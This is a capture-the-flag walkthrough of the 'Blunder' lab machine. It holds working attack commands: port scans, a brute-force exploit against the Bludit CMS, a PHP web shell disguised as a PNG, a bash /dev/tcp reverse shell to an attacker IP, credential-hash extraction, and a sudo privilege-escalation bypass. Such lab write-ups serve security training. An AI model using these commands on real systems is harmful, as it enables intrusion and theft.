Blunder
Last updated
Was this helpful?
Last updated
Was this helpful?
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.191 -oN allPorts
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5 insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oN save the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p21,80 10.10.10.191 -oN targeted
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oN save the scan result into file, in this case the targeted file.
Let's take a look at the website.
Not much going on. Now, let's try to enumerate subdirectories with gobuster.
gobuster dir -u http://10.10.10.191 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200 -x php,txt
dir enumerates directories or files.
-u the target URL.
-w path to the wordlist.
-t number of current threads, in this case 200 threads.
-x add the following extensions.
If we take a look at the todo.txt file, we'll see some potential user called fergus.
On the other hand, if we take a look at the /admin directory, we'll see an admin login panel for the Bludit CMS.
Let's try to look for common exploit of Bludit with searchsploit.
searchsploit bludit
There is one called Auth Bruteforce Bypass which seems to allow us to brute force the login panel. Let's move it to the current directory.
searchsploit -m php/webapps/48942.py
The script needs a file of users, and a file of passwords. First, let's create a file called user with the fergus user in it.
echo "fergus" > user
Now, we need a file with passwords. We could use the cewl tool, which will create a dictionary of words based on the website.
cewl -w passwords http://10.10.10.191 --with-numbers
-w write the output to a file.
--with-numbers accept words with numbers.
Finally, we can run the python exploit indicating the URL of the login panel, the user file, and the passwords file.
python 48942.py -l http://10.10.10.191/admin/login.php -u user -p passwords
-l URL of the login panel.
-u file with users.
-p file with passwords.
And we get some valid credentials, let's try them.
And we get in.
If we take a look at the common exploits again, we'll see that there is one called Directory Traversal, let's move it to the current directory, and rename it with the .py extension.
searchsploit -m multiple/webapps/48701.txt
mv 48701.txt exploit.py
Before executing it, we'll have to modify it a bit. We'll have to change the url, username and password variables to the valid credentials.
Now, we'll have to create a file called evil.png with some PHP code that will allow us to execute commands on the victim machine.
nano evil.png
Then, let's execute the following commands that will create the .htaccess file with some configuration that will allow us to execute the evil.png as a PHP file.
echo "RewriteEngine off" > .htaccess
echo "AddType application/x-httpd-php .png" >> .htaccess
Finally, we could execute the exploit.
python exploit.py
If now we access the following URL, we'll be able to execute commands on the victim machine.
http://10.10.10.191/bl-content/tmp/temp/evil.png?cmd=whoami
Time to get a shell. First, let's set a netcat listener on port 4444.
nc -lvnp 4444
-l listen mode.
-v verbose mode.
-n numeric-only IP, no DNS resolution.
-p specify the port to listen on.
If now we access the following URL, we'll get a reverse shell as the www-data user.
http://10.10.10.191/bl-content/tmp/temp/evil.png?cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.5/4444 0>%261"
First, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z and execute the following command on my local machine:
stty raw -echo; fg
reset
Terminal type? xterm
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
Let's enumerate the system users.
grep sh /etc/passwd
At this point, I started enumerating the machine, and I found the /var/www/bludit-3.10.0a/bl-content/databases/users.php config file with a password hash for the hugo user.
cat /var/www/bludit-3.10.0a/bl-content/databases/users.php
Let's make use of rainbow tables and try to find out the password.
Now we could become the hugo user, and grab the user flag.
su hugo
If we list the sudo privileges of the hugo user, we'll see that we can get a shell as any user, except the root user.
sudo -l
But, if we check the sudo version, we'll see that it is a vulnerable version.
sudo --version
sudo -u#-1 /bin/bash
As explains, we could bypass this rule. All we have to do is execute the following command, get a shell as root, and reap the harvest and take the root flag.
